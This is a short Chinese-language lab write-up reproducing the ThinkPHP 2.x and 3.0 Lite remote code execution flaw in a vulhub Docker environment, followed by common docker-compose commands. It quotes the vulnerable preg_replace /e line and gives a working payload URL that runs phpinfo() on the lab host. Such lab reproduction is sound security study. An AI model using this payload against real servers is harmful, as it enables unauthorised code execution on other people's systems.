声明
好好学习,天天向上
漏洞描述
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
影响范围
2.x
3.0Lite模式
复现过程
这里使用2.1版本
使用vulhub
/app/vulhub-master/thinkphp/2-rce
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.239.129:8080/
访问,执行代码
192.168.239.129:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down